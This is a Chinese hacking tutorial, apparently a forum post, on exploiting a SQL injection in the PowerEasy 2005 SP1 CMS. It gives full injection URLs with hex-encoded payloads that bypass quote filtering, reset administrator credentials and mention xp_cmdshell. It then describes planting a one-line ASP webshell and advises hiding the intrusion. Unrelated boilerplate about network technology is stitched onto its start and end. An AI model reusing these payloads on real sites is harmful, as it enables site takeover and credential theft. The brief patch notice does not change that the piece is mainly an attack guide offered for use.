网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。 1,发现漏洞 
影响版本: 标准版 SQL版 企业版 SQL版 学校版 SQL版 政府版 SQL版 全功能版 SQL版 免费access 版 所有版本(包括免费版、商业SQL版及Access版) 不被影响的版本:2005动易ASSESS版 漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp User 目录下 User_Message.asp 等级:严重 描述: 此漏洞影响全部SQL版,如果用SA连接数据库黑客可以拿到系统管理员权限。如果用普通用户连接最严重情况,可以备份脚本木马。一般情况可能改管理员登陆密码,从而达到黑客登陆动易后台。控制整个动易系统! ACCESS版可以得到管理员md5密码! 主要问题在于 User_Message.asp http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90; MessageID 没有严格过滤,有注入漏洞。只过滤了 单引号, 这就能挡住聪明的黑客吗? 我们来看一下,User_Message.asp的源代码、 ———————————————————————————————————— <!--#include file="User_CommonCode.asp"--> <% Call PE_Execute("PE_AdminCommon", "User_Message") %> —————————————————————————————————————— 动易系统是不开放源代码的,User_Message.asp 源代码的意思就是调用 PE_AdminCommon.dll 中的 User_Message 函数。 有人可能要问了这样的漏洞怎么发现的呢? 像这样的文件 只能用分支测试法 给这个文件用到的全部变量 都测试一遍。这是很耗时的测试方法。 2,分析漏洞 源程序是不开放的,所以源程序没什么好分析的。 现在我们来这漏洞入侵动易2005 sp1系统。 首先分两个版来说 1,SQL版, (1,发现注入点 User_Message.asp 文件中的 MessageID 没有严格过滤。 测试,加 单引号, 正常返回。如图一 
加 ; ,加 -- 都显示出错。 如图二: 
看提示 就明白有注入点了,加单引号没用,应当是过滤了引号。没关系过滤了单引号 阻挡不了我们入侵的步伐。 [page_break](2,绕过单引号估计 注入点基本形式是这样的 select * from pe_XXX where MessageID=(注入点) 我们想注入这样的文件,就要绕过单引号。 下面这样的代码 我们可以用它来绕过单引号。 declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a 上面这语句主要是用来绕过单引号。不过我们要改一下, declare @a sysname select @a=<command> update pe_admin set password=@a where id=1-- ); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--
完整的url http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1-- 这条语句是给后台的id=1的管理员密码改成 3。因为@a=0x3300 ,0x3300 是16进制的3. 执行成功之后如图3: 
(3,得到管理员权限 分两步: 一,关联前台username 动易后台登陆 要关联前台用户。 先设置后台管理员的前台用户名,为我们注册的用户。
declare @a sysname select @a=<command> update pe_admin set username=@a where id=1-- 说到这里,我要讲一下@a 如果改 比如我们注册的用户为111111 @a=0x310031003100310031003100 我怎么知道的呢?随便在网上找一个16进制转换器就知道了, 比如 用这个工具转换也行。 如图4 
所以注入语句成了这样的 ); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1-- 二,改后台登陆的password 接着给后台密码改成我们的密码。我们就可以想办法登陆了。 declare @a sysname select @a=<command> update pe_admin set password=@a where id=1--
我们改后台密码,要改成已经加密的md5密码 比如我们提供一个,469e80d32c0559f8 这是admin888加密之后的MD5密码。 @a=0x3400360039006500380030006400330032006300300035003500390066003800 所以构造注入语句 ); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1-- 大家感觉很简单吧!一般我们不这么做,教程 写给新手看的,不能太难。 在真正的黑客行为中,如果给人家的后台密码改了,管理员登陆不上去。人家必然会发现的。 所以 给高手提供思路 自己研究一下。 比如 1,可以插入一个管理员 用完之后删除 2,可以先暴出管理员密码,用完之后,再还原。 (4,上传木马 1,rootclass_menu_config.asp 文件中的菜单其它特效 中插入一句话木马。 如图 5

插入一句话木马之后,你可以用客户端连接了。 2,给上传属性改成可以上传ASP类型。上传时抓包 给最后一个加上结束符。(类似于动网上传) SQL版我只说这么多了,如果你上传不了木马,或者是找不到后台管理地址,来我们论坛提问吧!有我们有办法解决。 http://bbs.77169.com 2,ACCESS版 (1,如果发现漏洞 在测试免费版的动易系统之时,发现免费的ACCESS版动易用户控制面板没有 发送短消息的功能。 不过,动易留有相关接口,登陆用户控制面板 直接浏览 User_Message.asp 也可以注入. (2,注入过程(略) mssql和access 注入过程是点不一样的。基本相同,这也留给大家自己去测试吧。 三,解决方案
临时解决方案: 解决方案(临时):更新补丁包中的三个文件,并先删除user目录下的User_Message.asp文件。SP2正式版中将会修复此漏洞,请目前使用SP1的用户尽快打好此补丁。 补丁下载: http://download.asp163.net/PowerEasy2005SP1Patch.rar 感谢llikz、怪狗等网友对系统进行安全检测并无私提供相关漏洞信息!
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
|